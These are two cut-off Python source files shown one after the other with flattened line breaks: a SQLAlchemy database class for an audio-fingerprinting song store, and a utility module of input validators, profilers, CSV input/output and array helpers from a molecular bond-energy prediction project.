tasks: await asyncio.wait(tasks) elapsed = time.time() - start_t logging.info(f"All songs added to database ({elapsed:.2f} s)") # TODO: try/except, db rollbacks class Database: """ Class that holds a database connection to perform read/update/delete operations. """ def __init__( self, user, password, db_name, host="localhost", port=None, dialect="postgresql", driver=None ): """ Constructs a sqlalchemy database URL of the form `dialect+driver://username:password@host:port/db_name` to create a sqlalchemy database engine. Refer to `SQLAlchemy Database URLs`_. Args: user (str): User name. password (str): User password. db_name (str): Database name. host (str): Database hostname. port (int): Port on ``host``. dialect (str): SQL database dialect to use. See `SQLAlchemy Dialects`_. driver (str): SQL database driver to use. See `SQLAlchemy Database URLs`_. .. _`SQLAlchemy Dialects`: https://docs.sqlalchemy.org/en/13/dialects/ .. _`SQLAlchemy Database URLs`: https://docs.sqlalchemy.org/en/13/core/engines.html#database-urls """ # TODO: check/add sqlite support. # Construct database URL. driver = f"+{driver}" if driver else "" port = f":{port}" if port is not None else "" # MySQL requires localhost to be specified as 127.0.0.1 to correctly # use TCP. if dialect == "mysql" and host == "localhost": host = "127.0.0.1" url = f"{dialect}{driver}://{user}:{password}@{host}{port}/{db_name}" logging.debug(f"Connecting to database URL {url}") engine = sqlalchemy.create_engine(url) Session = sqlalchemy.orm.sessionmaker(engine) self.session = Session() Base.metadata.create_all(engine) self.base = Base self.engine = engine def __del__(self): self.session.close() def add_song( self, duration=None, filepath=None, filehash=None, title=None, youtube_id=None ): """ Args: duration (float): Song duration. filepath (str): Path to file on local machine. filehash (str): File hash. title (str): Song title. youtube_id (str): YouTube ID, i.e., watch?v=<youtube_id>. Returns: int: id of the inserted song. """ new_song = Song( duration=duration, filepath=filepath, filehash=filehash, title=title, youtube_id=youtube_id ) self.session.add(new_song) self.session.commit() return new_song.id def add_fingerprint(self, song_id, hash_, offset): """ Args: song_id (int): Song id corresponding to song in the Song table. hash_ (str): Fingerprint hash. offset (float): Fingerprint offset. Returns: int: id of the inserted fingerprint. """ new_fingerprint = Fingerprint( song_id=song_id, hash=hash_, offset=offset ) self.session.add(new_fingerprint) self.session.commit() return new_fingerprint.id def add_fingerprints(self, song_id, fingerprints): """ Args: song_id (int): Song table song id the fingerprints correspond to. fingerprints (List[tuple]): A list of (hash, offset) fingerprints. """ new_fingerprints = [ Fingerprint(song_id=song_id, hash=hash_, offset=offset) for hash_, offset in fingerprints ] self.session.bulk_save_objects(new_fingerprints) self.session.commit() def as_dict(self, combine_tables=False): """ Return the database as a Python dictionary. See :func:`database_obj_to_py`. Args: combine_tables (bool): If True, the returned dict will have a single ``songs`` field containing a list of songs, and each song will have a ``fingerprints`` field containing the list of fingerprints belonging to it. If False, the returned dict will contain a ``songs`` field and a ``fingerprints`` field. Returns: dict: tables Dict containing database Fingerprint and Song tables:: { "songs": list, "fingerprints": list } If ``combine_tables=True``, the returned dict will not contain a ``fingerprints`` key. """ songs_table = self.session.query(Song).all() fingerprints_table = self.session.query(Fingerprint).all() if combine_tables: return { "songs": database_obj_to_py(songs_table, fingerprints_in_song=True), } else: return { "songs": database_obj_to_py(songs_table), "fingerprints": database_obj_to_py(fingerprints_table), } def delete_all(self): """ Delete all rows in the Fingerprint and Song tables. """ self.session.query(Fingerprint).delete() self.session.query(Song).delete() self.session.commit() def _drop_tables(self, tables): self.base.metadata.drop_all(bind=self.engine, tables=tables) self.session.commit() def drop_all_tables(self): """ Drop Fingerprint and Song tables. """ self._drop_tables([Fingerprint.__table__, Song.__table__]) def drop_song_table(self): """ Drop Song table. """ self._drop_tables([Song.__table__]) def drop_fingerprint_table(self): """ Drop Fingerprint table. """ self._drop_tables([Fingerprint.__table__]) def query_fingerprints(self, hashes): """ Query the database for a list of matching hashes. Args: hashes (str|List[str]): Hash or list of hashes from a fingerprinted audio signal. Returns: fingerprints: list A list of fingerprints whose hashes match the input hashes. Each fingerprint is a dict containing the hash, song id, and offset (in seconds):: { "song_id": int, "hash": str, "offset": float } """ # Perform query; this is the equivalent of # SELECT * FROM fingerprint WHERE fingerprint.hash IN (`hashes`) query = self.session.query(Fingerprint).filter( Fingerprint.hash.in_(hashes) ) return database_obj_to_py(query.all()) def query_songs( self, id_=None, duration=None, duration_greater_than=None, duration_less_than=None, filehash=None, filepath=None, title=None, youtube_id=None, include_fingerprints=False ): """ Query the database for songs matching the specified criteria. Args: id_ (list|int): Int or list of ints corresponding to the id primary key field of the database Song table. duration (list|float): Float or list of floats corresponding to the duration field of the database Song table. duration_greater_than (float): Only return songs with a duration greater than this value, if one is specified. duration_less_than (float): Only return songs with a duration less than this value, if one is specified. filehash (list|str): A filehash or list of filehashes corresponding to the filehash field of the database Song table. filepath (list|str): A filepath or list of filepaths corresponding to the filepath field of the database Song table. title (list|str): A title or list of titles corresponding to the title field of the database Song table. youtube_id (list|str): A YouTube id or list of YouTube ids corresponding to the youtube_id field of the databse Song table. include_fingerprints (bool): Include the fingerprints of each song as a list within the dict corresponding to the song; see :meth:`query_fingerprints`. Returns: results: List[dict] A list of dicts where each dict represents a song and contains the following keys:: { "id": int, "duration": float, "filehash": str, "filepath": str, "title": str, "youtube_id" str, "fingerprints": list[dict], "num_fingerprints": int } The ``fingerprints`` and ``num_fingerprints`` keys are only included if ``include_fingerprints=True``. Raises: ValueError: if more than one of ``duration``, ``duration_greater_than``, or ``duration_less_than`` are supplied. """ duration_args_bool = [ duration is not None, duration_greater_than is not None, duration_less_than is not None ] if sum(duration_args_bool) > 1: raise ValueError( "Can only choose one of duration, duration_greater_than, " "or duration_less_than" ) query = self.session.query(Song) if duration is not None: query = query.filter(Song.duration == duration) elif duration_greater_than is not None: query = query.filter(Song.duration > duration_greater_than) elif duration_less_than is not None: query = query.filter(Song.duration < duration_less_than) # Handle remaining non-duration args separately. other_args = { "id": id_, "filehash": filehash, "filepath": filepath, "title": title, "youtube_id": youtube_id, } # Make the Song sqlalchemy DeclarativeMeta a dict so we can iterate # over its attributes. Song_ = vars(Song) for arg, val in other_args.items(): if val is not None: if not isinstance(val, (list, tuple)): val = [val] query = query.filter(Song_[arg].in_(val)) return database_obj_to_py( query.all(), fingerprints_in_song=include_fingerprints )
import gc from logging import warning from time import perf_counter from typing import Callable, List, Optional, Tuple, Union, Set, Dict, Any import numpy as np import pandas as pd from numpy import ndarray from scipy.sparse import coo_matrix, spmatrix, csc_matrix, csr_matrix from .coreConfig import EXTRA_LIBRARY def checkCompatibility(): from rdkit import __version__ as rdkit_version from sklearn import __version__ as sklearn_version from tensorflow import __version__ as tf_version np_major, np_minor, np_patch = np.__version__.split(".") pd_major, pd_minor, pd_patch = pd.__version__.split(".") rdkit_major, rdkit_minor, rdkit_patch = rdkit_version.split(".") sklearn_major, sklearn_minor, sklearn_patch = sklearn_version.split(".") tf_major, tf_minor, tf_patch = tf_version.split(".") if not (int(np_major) == 1 and int(np_minor) >= 18): raise ImportWarning(f"Numpy version is relatively low ({np.__version__}). Please upgrade into version at " f"least 1.18+. Try version 1.20.3") if not (int(pd_major) == 1 and int(pd_minor) >= 2): raise ImportWarning(f"Pandas version is relatively low ({pd.__version__}). Please upgrade into version at " "least 1.2.x. Try version 1.2.4") if not (int(sklearn_major) == 0 and int(sklearn_minor) >= 23): raise ImportWarning(f"Scikit-Learn version is relatively low ({sklearn_version}). Please upgrade into version " f"at least 0.23.x. Try version 0.24.x+") if not ((int(rdkit_major) == 2020 and int(rdkit_minor) == 9) or int(rdkit_major) >= 2021): raise ImportError(f"RDKit version is relatively low ({rdkit_version}). Please upgrade into version at " "least 2020.09.x") if not (int(tf_major) == 2 and int(tf_minor) >= 3): raise ImportError(f"TensorFlow version is relatively low ({tf_version}). Please upgrade into version 2.3.x") try: from dask import __version__ as dask_version dask_major, dask_minor, dask_patch = dask_version.split(".") if not (int(dask_major) == 2021 and int(dask_minor) == 4): raise ImportWarning(f" Dask version is relatively low ({dask_version}). Please upgrade into version at " f"least 2021.04.x. Try version 2021.04.x") except (ImportError, ImportWarning): pass def Acknowledgements(): from rdkit import __version__ as rdkit_version from sklearn import __version__ as sklearn_version from tensorflow import __version__ as tf_version print(f"Library Contribution:" f"\n\tNumpy ({np.__version__}): Give immediate access with low-time processing and low memory usage on " f"heavy-weight database (list/array) compared to Python List (C++, Fortran, CPython)." f"\n\tPandas ({pd.__version__}): Construct DataFrame to create .csv and make connection to scikit-learn " f"with low-time processing and low memory usage but it is a bit slower (1.2 - 1.5 - 2.0x slower) than Numpy." f"\n\tSciKit-Learn ({sklearn_version}): High Performance of Machine Learning techniques (C++, CPython)" f"\n\tRDKit ({rdkit_version}): Create sufficient data from SMILES Notation (C++, CPython)" f"\n\tTensorFlow ({tf_version}): integrated in TensorFlow") print("Main Article References: Prediction of organic homolytic bond dissociation enthalpies " "at near chemical accuracy with sub-second computational cost" "\n\tAuthors: Peter C. St. John, Yanfei Guan, Yeonjoon Kim, Seonah Kim & Robert S. Paton" "\n\tDOI: 10.1038/s41467-020-16201-z") print("Programming Language: Python 3.7.10 (PyCharm IDE 2020.03.1)" "\nSub-programming Language: C++, Fortran, CUDA, HTML, C") # ------------------------------------------------------------------------------------------------------------------- # [1]: Checking DataType __CALLER: str = "Python built-in" DATA_TYPE_CACHE_CHECK: Dict[str, List] = \ {"str": [str, f"{__CALLER} string"], "int": [int, f"{__CALLER} integer string"], "bool": [bool, f"{__CALLER} boolean"], "float": [float, f"{__CALLER} float"], "List": [List, f"{__CALLER} list"], "Tuple": [Tuple, f"{__CALLER} tuple"], "Dict": [Dict, f"{__CALLER} dictionary"], "Set": [Set, f"{__CALLER} set"], "Slice": [slice, f"{__CALLER} slice"], "None": [None, f"{__CALLER} NoneType object"], "Callable": [Callable, f"method/function"], "DataFrame": [pd.DataFrame, f"Pandas DataFrame"], "Index": [pd.Index, f"Pandas Index"], "coo_matrix": [coo_matrix, f"Scipy coo_matrix"], "spmatrix": [spmatrix, f"Scipy spmatrix"], "csc_matrix": [csc_matrix, f"Scipy DataFrame"], "csr_matrix": [csr_matrix, f"Scipy csr_matrix"], "ndarray": [ndarray, f"Numpy array"]} def inputFastCheck(value: Any, dtype: Optional[str], delimiter: Optional[str] = None) -> bool: if dtype is None or 'None' in dtype: if value is None: return True try: target = tuple([DATA_TYPE_CACHE_CHECK[key][0] for key in dtype.split(delimiter)]) \ if delimiter is not None else DATA_TYPE_CACHE_CHECK[dtype][0] if isinstance(target, Tuple): if None in target: if value is None: return True return isinstance(value, tuple([checkDtype for checkDtype in target if checkDtype is not None])) return isinstance(value, target) except (ValueError, KeyError, IndexError, TypeError): warning("Unable to check your value properly as basic datatype input is unavailable.") return False def inputFullCheck(value: Any, name: str, dtype: Optional[str], delimiter: Optional[str] = None, warning_only: bool = False, fastCheck: bool = False) -> bool: """ Used to check parameter in a single shot. Return boolean value whether it passed the test if warning_only=True; else, raise TypeError :param value: The value needed to be checked :type value: Any :param name: The value needed for display :type name: str :param dtype: The dtype needed for checking. If multiple data type must be checked in one instance, delimiter = None :type dtype: str :param delimiter: if provided, multiple data types will be checked in one calling by string separation :type delimiter: str :param warning_only: if True, no TypeError made; instead warning called :type warning_only: bool :param fastCheck: if True, skip some checking. Only used when you type correct input :type fastCheck: bool :return: bool """ if not inputFastCheck(value=fastCheck, dtype='bool'): raise TypeError(f"Fast Checking should be {DATA_TYPE_CACHE_CHECK["bool"][1]}") if fastCheck: if value is None: if dtype is None: return True elif dtype.find("None") != -1: return True else: if not inputFastCheck(value=name, dtype='str'): raise TypeError(f"Input Name should be {DATA_TYPE_CACHE_CHECK["str"][1]}") if dtype is not None: if not inputFastCheck(value=dtype, dtype='str'): raise TypeError(f"Input Data Type should be {DATA_TYPE_CACHE_CHECK["str"][1]}") elif value is None: # dtype is None return True if not inputFastCheck(value=delimiter, dtype='str') and delimiter is not None: raise TypeError(f"Input Delimiter should be {DATA_TYPE_CACHE_CHECK["str"][1]} or NoneType object") if not inputFastCheck(value=warning_only, dtype='bool'): raise TypeError(f"warning_only={warning_only} should be {DATA_TYPE_CACHE_CHECK["bool"][1]}") outcome: bool = inputFastCheck(value=value, dtype=dtype, delimiter=delimiter) if outcome: return outcome target = tuple([DATA_TYPE_CACHE_CHECK[key][0] for key in dtype.split(delimiter)]) \ if delimiter is not None else DATA_TYPE_CACHE_CHECK[dtype][0] msg: str = f" {name} should be {__CALLER} {target} but not type: {type(value)}" if warning_only: warning(msg) return outcome raise TypeError(msg) def _checkLefty_(value: Union[int, float], minimumValue: Union[int, float], allowBoundary: bool) -> bool: return minimumValue <= value if allowBoundary else minimumValue < value def _checkRighty_(value: Union[int, float], maximumValue: Union[int, float], allowBoundary: bool) -> bool: return maximumValue >= value if allowBoundary else maximumValue > value def inputCheckRange(value: Union[int, float], name: str, maxValue: Optional[Union[int, float]], minValue: Optional[Union[int, float]] = 0, fastCheck: bool = False, allowNoneInput: bool = False, allowFloatInput: bool = False, warning_only: bool = False, leftBound: bool = True, rightBound: bool = False) -> bool: """ Used to check python built-in input parameter between a range [minValue, maxValue). Return boolean value whether it passed the test if warning_only=True; else, raise TypeError or ValueError""" inputFullCheck(value=fastCheck, name='fastCheck', dtype='bool', warning_only=False) if not fastCheck: if minValue is not None: inputFullCheck(value=minValue, name='minimum_value', dtype='int-float', delimiter='-', warning_only=False) if maxValue is not None: inputFullCheck(value=maxValue, name='maximum_value', dtype='int-float', delimiter='-', warning_only=False) inputFullCheck(value=name, name='name', dtype='str', warning_only=False) inputFullCheck(value=warning_only, name='warning_only', dtype='bool', warning_only=False) inputFullCheck(value=allowNoneInput, name='allowNoneInput', dtype='bool', warning_only=False) inputFullCheck(value=allowFloatInput, name='allowFloatInput', dtype='bool', warning_only=False) inputFullCheck(value=leftBound, name='leftBound', dtype='bool', warning_only=False) inputFullCheck(value=rightBound, name='rightBound', dtype='bool', warning_only=False) if allowNoneInput: if value is None: return True checking_datatype = 'int-float' if allowFloatInput else 'int' if minValue is None and maxValue is None: warning(f' {name}: Your value only be checked with the data type. Your input cannot be compared at any metric') return inputFullCheck(value=value, name=name, dtype=checking_datatype, delimiter='-') if maxValue is not None and minValue is not None: if minValue > maxValue: warning(f" {name}: Input range must be swapped to guarantee consistency") minValue, maxValue = maxValue, minValue if minValue is None: lBound = '(' else: lBound: str = '[' if leftBound else '(' if maxValue is None: rBound = '(' else: rBound: str = ']' if rightBound else ')' INF: str = 'INFINITE' if inputFastCheck(value=value, dtype=checking_datatype, delimiter='-'): msg: str = '' if minValue is not None and maxValue is None: if not _checkLefty_(value=value, minimumValue=minValue, allowBoundary=leftBound): msg: str = f"{name}={value} is out-of-range {lBound}{minValue}, {INF}{rBound}" elif minValue is None and maxValue is not None: if not _checkRighty_(value=value, maximumValue=maxValue, allowBoundary=rightBound): msg: str = f"{name}={value} is out-of-range {lBound}{INF}, {maxValue}{rBound}" else: if not (_checkLefty_(value=value, minimumValue=minValue, allowBoundary=leftBound) and _checkRighty_(value=value, maximumValue=maxValue, allowBoundary=rightBound)): msg: str = f"{name}={value} is out-of-range {lBound}{minValue}, {maxValue}{rBound}" if msg != '': if warning_only: warning(msg) return False raise ValueError(msg) else: note = "integer" if minValue is not None: if minValue >= 0: note = "positive integer" elif maxValue is not None: if maxValue <= 0: note = "negative integer" msg: str = f"{name}={value} must be a {note} {lBound}{minValue}, {maxValue}{rBound}" if allowNoneInput: msg = f"{msg} or None" if warning_only: warning(msg) return False raise ValueError(msg) return True def inputCheckIterableInRange(value: Union[ndarray, List, Tuple], name: str, maxValue: Optional[Union[int, float]], minValue: Optional[Union[int, float]] = 0, maxInputInside: int = 2, strictInput: bool = False, **kwargs) -> bool: # **kwargs: Argument need for function inputCheckRange inputFullCheck(value=value, name=name, dtype='List-Tuple', delimiter='-') inputFullCheck(value=strictInput, name='strictInput', dtype='bool') inputCheckRange(value=maxInputInside, name='len(value)', maxValue=len(value), minValue=0, rightBound=True) if strictInput: if len(value) != maxInputInside: raise ValueError(f"{name} should have only {maxInputInside} values") for idx, location in enumerate(value): inputCheckRange(value=location, name=f'{name}[{idx}]', maxValue=maxValue, minValue=minValue, **kwargs) return True # ------------------------------------------------------------------------------------------------------------------- # [2]: Decorator and Function used for warp-up def MeasureExecutionTime(Function: Callable) -> Callable: def compute(*args, **kwargs): start = perf_counter() result = Function(*args, **kwargs) print(f"Executing Time ({Function}): {perf_counter() - start:.6f}s") return result return compute def objectMemoryProfiler(Object: object, verbose: bool = True, sorting_mode: bool = True, descending: bool = True) -> pd.DataFrame: # Hyper-parameter Verification inputFastCheck(value=verbose, dtype='bool') inputFastCheck(value=sorting_mode, dtype='bool') inputFastCheck(value=descending, dtype='bool') from sys import getsizeof print("=" * 30, objectMemoryProfiler, "=" * 30) total: int = 0 np_total: int = 0 arr: List[List[str, str, int]] = [] for name in Object.__dict__: obj = getattr(Object, name) size = obj.nbytes if isinstance(obj, ndarray) else getsizeof(obj) total += size if isinstance(obj, ndarray): size = obj.nbytes np_total += size elif isinstance(obj, (coo_matrix, csc_matrix, csr_matrix, spmatrix)): if isinstance(obj, coo_matrix): size = obj.data.nbytes + obj.row.nbytes + obj.col.nbytes else: size = obj.data.nbytes + obj.indices.nbytes + obj.indptr.nbytes np_total += size if verbose and not sorting_mode: msg = f"{name} ({type(obj)}): \t\t\t\t{size} bytes --> Shape: {obj.shape}" \ if isinstance(obj, ndarray) else f"{name} ({type(obj)}): \t\t\t\t{size} bytes" print(msg) arr.append([name, type(obj), size]) if sorting_mode: arr.sort(key=lambda item: int(item[2]), reverse=descending) arr: pd.DataFrame = pd.DataFrame(data=arr, index=None, columns=["Name", "Type", "Byte Size"]) print(arr) print("-" * 80) percentage: float = np_total / total print(f"Attribute Memory: {total} bytes ({round(total / (1024 * 1024), 6)} MB)") print(f"Numpy Attribute Memory: {np_total} bytes ({round(np_total / (1024 * 1024), 6)} MB)" f" ---> Percentage: {round(100 * percentage, 6)} %") print(f"Remaining Memory: {total - np_total} bytes ({round((total - np_total) / (1024 * 1024), 6)} MB) " f"---> Percentage: {round(100 * (1 - percentage), 6)} %") return arr def TimingProfiler(Function: Callable): def compute(*args, **kwargs): from cProfile import Profile profiler = Profile() profiler.enable() result = Function(*args, **kwargs) profiler.disable() profiler.print_stats(sort=True) return result return compute # ------------------------------------------------------------------------------------------------------------------- # [3]: Function used for generating file and modifying filename def _StringValidation_(FileName: str, extension: str) -> None: inputFullCheck(value=FileName, name='FileName', dtype='str') inputFullCheck(value=extension, name='extension', dtype='str') def FixPath(FileName: str, extension: str) -> str: _StringValidation_(FileName=FileName, extension=extension) return f"{FileName}{extension}" if FileName.rfind(extension) != len(FileName) - len(extension) \ else FileName def RemoveExtension(FileName: str, extension: str) -> str: _StringValidation_(FileName=FileName, extension=extension) return FileName if FileName.rfind(extension) != len(FileName) - len(extension) \ else FileName[:len(FileName) - len(extension)] def ReadFile(FilePath: Optional[str], header: Optional[int] = 0, dtype=None, get_values: bool = False, get_columns: bool = False, nrows: Optional[int] = None, blocksize: Union[float, int] = 64e6, dtypes_memory_identifier: Union[float, int] = 1, usecols: Union[List[int], List[str]] = None, skiprows: Optional[Union[List, int]] = None) \ -> Optional[Union[pd.DataFrame, List[str], ndarray, Tuple[ndarray, List[str]]]]: """ Default implementation used to call a .csv documentation. 1 MiB = 2^10 KiB = 2^20 bytes = 1048576 bytes 1 MB = 10^3 KB = 10^6 bytes = 1000000 bytes :param FilePath: The path contained the .csv file. This hyper-parameter does not need extension name as it have to be checked directly before accessing pandas library (str). :type FilePath: str :param header: The position of column name used as label/features identifier (int). Default to 0. :type header: int :param dtype: pandas dtype // numpy.dtype :type dtype: dtype :param get_values: Whether to get values only :type get_values: bool :param get_columns: Whether to get columns only :type get_columns: bool :param nrows: number of rows for computing :type nrows: Optional[int] :param skiprows: number of rows or row's position for skipping :type skiprows: Optional[Union[List, int]] :param usecols: number of rows or row's position for skipping :type usecols: Optional[Union[List, int]] :param blocksize: The chunking memory for paralleling (Dask Library), Default to be 64 MB :type blocksize: float or int :param dtypes_memory_identifier: The coefficient memory adding when reading csv by Dask Library (default to be 1). Base case: 1 MiB (mebibytes) :type dtypes_memory_identifier: float or int :return: pd.DataFrame """ if True: if FilePath is None or FilePath == "": return None inputFullCheck(value=FilePath, name='FilePath', dtype='str') inputFullCheck(value=get_values, name='get_values', dtype='bool') inputFullCheck(value=get_columns, name='get_columns', dtype='bool') if not EXTRA_LIBRARY["Dask"] and not EXTRA_LIBRARY["Dask_activated"]: EXTRA_LIBRARY["Dask_activated"] = True try: import dask.dataframe as dd EXTRA_LIBRARY["Dask"] = True warning(" Dask is a great tool to replicate pandas.DataFrame with read_csv. In fact, this project " "leverage computation strength with memory by Numpy rather than Pandas. Switch default to Dask " "DataFrame") except (ImportError, ImportWarning): warning(" Dask is not in your environment. Switch to pandas (Memory & Time Consumption is larger).") pass FilePath: str = FixPath(FileName=FilePath, extension=".csv") File: Optional[pd.DataFrame] = None if EXTRA_LIBRARY["Dask"] and nrows != 1: try: import dask.dataframe as dd MiB: int = 1048576 File: pd.DataFrame = \ dd.read_csv(FilePath, dtype=dtype, header=header, low_memory=True, usecols=usecols, blocksize=blocksize, sample=int(MiB * dtypes_memory_identifier), cache_dates=False).compute() except (ValueError, MemoryError, ModuleNotFoundError): pass if File is None: File: pd.DataFrame = pd.read_csv(FilePath, dtype=dtype, nrows=nrows, skiprows=skiprows, usecols=usecols, header=header, low_memory=True, cache_dates=False) if not get_values and not get_columns: return File elif not get_values and get_columns: return File.columns.tolist() elif get_values and not get_columns: return File.values if inputFastCheck(File.values, 'ndarray') else np.array(File.values, dtype=dtype) return File.values if inputFastCheck(File.values, 'ndarray') else np.array(File.values, dtype=dtype), \ File.columns.tolist() def ExportFile(DataFrame: pd.DataFrame, FilePath: str, index: bool = False, index_label: Optional[str] = None) -> None: """ Default implementation used to return the .csv documentation from DataFrame :param DataFrame: The DataFrame needs for creating the .csv file (pd.DataFrame). :type DataFrame: pd.DataFrame :param FilePath: The path contained the .csv file. This hyper-parameter does not need extension name as it have to be checked directly before accessing pandas library (str). :type FilePath: str :param index: The implicit array-like used for row indexing (Array-like). Default to False :type index: List[str] or Tuple[str] or bool or List[int] or Tuple[int] :param index_label: The name of index column :type index_label: str or None :return: None """ if FilePath is None: return None inputFullCheck(value=DataFrame, name='DataFrame', dtype='DataFrame') DataFrame.to_csv(FixPath(FileName=FilePath, extension=".csv"), index=index, index_label=index_label) # ------------------------------------------------------------------------------------------------------------------- # [4]: Function used for data comparison # [4.1]: Base Cleaning method def BinarySearch(array_1d: Union[List, Tuple, ndarray], value: Union[int, str, float], getIndex: bool = False, raiseError: bool = False) -> Union[int, bool]: # This implementation is used to boost-up searching. # Binary Search for Large Array inputFullCheck(value=array_1d, name='array_1d', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=value, name='value', dtype='int-str-float', delimiter='-') if inputFastCheck(value=array_1d, dtype='ndarray'): if array_1d.ndim != 1: raise ValueError(" Only works for 1D-array.") inputFullCheck(value=getIndex, name='getIndex', dtype='bool') inputFullCheck(value=raiseError, name='raiseError', dtype='bool') start, end = 0, len(array_1d) counter = 0 while start <= end: mid = (start + end) // 2 if end - start <= 1: counter += 1 if counter == 2: if not raiseError: return False if not getIndex else -1 raise ValueError(f"value ({value}) is not in the array") if value < array_1d[mid]: end = mid elif value > array_1d[mid]: start = mid elif value == array_1d[mid]: return True if not getIndex else mid if not raiseError: return False if not getIndex else -1 raise ValueError(f"value={value} is not in the array") def BinaryIndexing(array_1d: Union[List, Tuple, ndarray], value: Union[str, int, float], ascending: bool = True): inputFullCheck(value=array_1d, name='array_1d', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(value=value, name='value', dtype='int-str-float', delimiter='-') inputFullCheck(value=ascending, name='ascending', dtype='bool') if len(array_1d) == 0: raise ValueError(" Binary Search do not allow empty array") left, right = 0, len(array_1d) - 1 if ascending: while left <= right: mid = (left + right) // 2 if right - left == 1: if value == array_1d[left]: return left elif value == array_1d[right]: return right if value < array_1d[mid]: right = mid elif value > array_1d[mid]: left = mid else: return mid else: while left <= right: mid = (left + right) // 2 if right - left == 1: if value == array_1d[right]: return right elif value == array_1d[left]: return left if value < array_1d[mid]: left = mid elif value > array_1d[mid]: right = mid else: return mid return None def _Export_(dataFrame: pd.DataFrame, overlap_directory: str, new_directory: str = None, status: bool = True) -> None: inputFullCheck(value=status, name='status', dtype='bool') if status: ExportFile(DataFrame=dataFrame, FilePath=overlap_directory if new_directory is None else new_directory) return None def _IsSingleBinaryUnique_(array_1d: ndarray) -> bool: inputFullCheck(value=array_1d, name='array_1d', dtype='ndarray') if array_1d[0] != array_1d[1]: return False return np.sum(array_1d, axis=-1) / array_1d.size == array_1d[0] def IsSingleUnique(array_1d: ndarray, binaryMode: bool = False, allowCache: bool = True) -> bool: inputFullCheck(value=allowCache, name='allowCache', dtype='bool') inputFullCheck(value=binaryMode, name='binaryMode', dtype='bool') inputFullCheck(value=array_1d, name='array_1d', dtype='ndarray-List-Tuple', delimiter='-') if binaryMode and inputFastCheck(array_1d, dtype='ndarray'): return _IsSingleBinaryUnique_(array_1d=array_1d) if inputFastCheck(value=array_1d, dtype='ndarray'): if array_1d.ndim != 1: raise ValueError(f"Accept 1D-array Only ({array_1d.ndim})") cache = array_1d.tolist() if allowCache else array_1d else: cache = array_1d first_value, size = cache[0], len(cache) for idx in range(1, size): if cache[idx] != first_value: del cache return False del cache return True def ArrayEqual(array_1: Union[ndarray, List, Tuple, pd.Index], array_2: Union[ndarray, List, Tuple, pd.Index], allowCache: bool = True) -> bool: """ Note that np.array_equal always result in O(2*N) or O(3*N) time complexity (depended on task dependency) as it have to ensure that all value in array should be converted into boolean matrix and validate using bool(np.asarray(a==b).all()). However, we want to reduce them the time complexity in the specific task only. Costing O(k) real-time complexity only with no extra space complexity O(1) compared to numpy.array_equal. """ inputFullCheck(array_1, name='array_1', dtype='List-Tuple-ndarray', delimiter='-') inputFullCheck(array_2, name='array_2', dtype='List-Tuple-ndarray', delimiter='-') if inputFastCheck(value=array_1, dtype='List-Tuple', delimiter='-') and \ inputFastCheck(value=array_2, dtype='List-Tuple', delimiter='-'): size: int = len(array_1) if size != len(array_2): return False elif size == 0: # Two arrays have no values return True cache_1, cache_2 = array_1, array_2 else: rebuilt_1 = np.asarray(array_1) if not inputFastCheck(value=array_1, dtype='ndarray') else array_1 rebuilt_2 = np.asarray(array_2) if not inputFastCheck(value=array_2, dtype='ndarray') else array_2 if not (rebuilt_1.ndim == rebuilt_2.ndim and rebuilt_1.ndim == 1): raise ValueError(f"Two array was not equivalent in size a: {rebuilt_1.shape} --- b: {rebuilt_2.shape}") size: int = rebuilt_1.size if rebuilt_1.size != rebuilt_2.size: return False elif rebuilt_1.size == 0: # Two arrays have no values return True inputFullCheck(value=allowCache, name='allowCache', dtype='bool') cache_1 = array_1.tolist() if allowCache and inputFastCheck(array_1, dtype='ndarray') else array_1 cache_2 = array_2.tolist() if allowCache and inputFastCheck(array_2, dtype='ndarray') else array_2 foundDifferent: bool = any(cache_1[index] != cache_2[index] for index in range(size)) del cache_1, cache_2 return not foundDifferent def GetIndexForLabelRemoval(RemovingLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str], Tuple[str, ...]], TargetLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str], Tuple[str, ...]]) -> List[int]: """ Implementation of get the index of removed_labels to match with target_labels :param RemovingLabels: The labels needs to get removed :type RemovingLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str]] :param TargetLabels: The labels for data comparison :type TargetLabels: Union[pd.DataFrame, pd.Index, ndarray, List[str]] :return: """ # Hyper-parameter Verification if True: inputFullCheck(value=RemovingLabels, name='removed_labels', delimiter='-', dtype='List-Tuple-ndarray-Index-DataFrame') if not inputFastCheck(value=RemovingLabels, dtype='ndarray'): RemovingLabels = np.asarray(RemovingLabels.columns).ravel() \ if inputFastCheck(value=RemovingLabels, dtype='DataFrame') else np.asarray(RemovingLabels).ravel() inputFullCheck(value=TargetLabels, name='target_labels', delimiter='-', dtype='List-Tuple-ndarray-Index-DataFrame') if not inputFastCheck(value=TargetLabels, dtype='ndarray'): TargetLabels = np.asarray(TargetLabels.columns).ravel() \ if inputFastCheck(value=TargetLabels, dtype='DataFrame') else np.asarray(TargetLabels).ravel() if len(TargetLabels) > len(RemovingLabels): warning(" WARNING: Two array above cannot be matched. Please check your file or source code") warning(f" The target label ({len(TargetLabels)}) is longer than the removed label ({len(RemovingLabels)})") status = False pass FalseLabel: List[int] = [] moving_column: int = 0 for current_column in range(0, len(RemovingLabels)): if moving_column < len(TargetLabels): if RemovingLabels[current_column] == TargetLabels[moving_column]: moving_column += 1 else: FalseLabel.append(current_column) else: FalseLabel.append(current_column) if len(RemovingLabels) - len(FalseLabel) != len(TargetLabels): warning(" Two arrays above cannot be matched. Please check your file or source code") return FalseLabel # [4.2]: Cleaning Function def _checkCleaningInput_(comparedArray: ndarray, FeaturesLabels: Union[ndarray, List[str]], nonTouchableSize: int, relevantSet_1: ndarray = None, relevantSet_2: ndarray = None, ) -> None: inputFullCheck(value=comparedArray, name='comparedArray', dtype='ndarray') inputFullCheck(value=FeaturesLabels, name='FeaturesLabels', dtype='ndarray-List', delimiter='-') observationSize, featureSize = comparedArray.shape if len(FeaturesLabels) != featureSize: raise ValueError(f"Invalid Length of Columns ({featureSize} vs {len(FeaturesLabels)}).") if relevantSet_1 is not None: inputFullCheck(value=relevantSet_1, name='relevantSet_1', dtype='ndarray') if relevantSet_1.shape[1] != featureSize: raise ValueError(f"Invalid Length of relevantSet_1 ({featureSize} vs {relevantSet_1.shape[1]}).") if relevantSet_2 is not None: inputFullCheck(value=relevantSet_2, name='relevantSet_2', dtype='ndarray') if relevantSet_2.shape[1] != featureSize: raise ValueError(f"Invalid Length of relevantSet_2 ({featureSize} vs 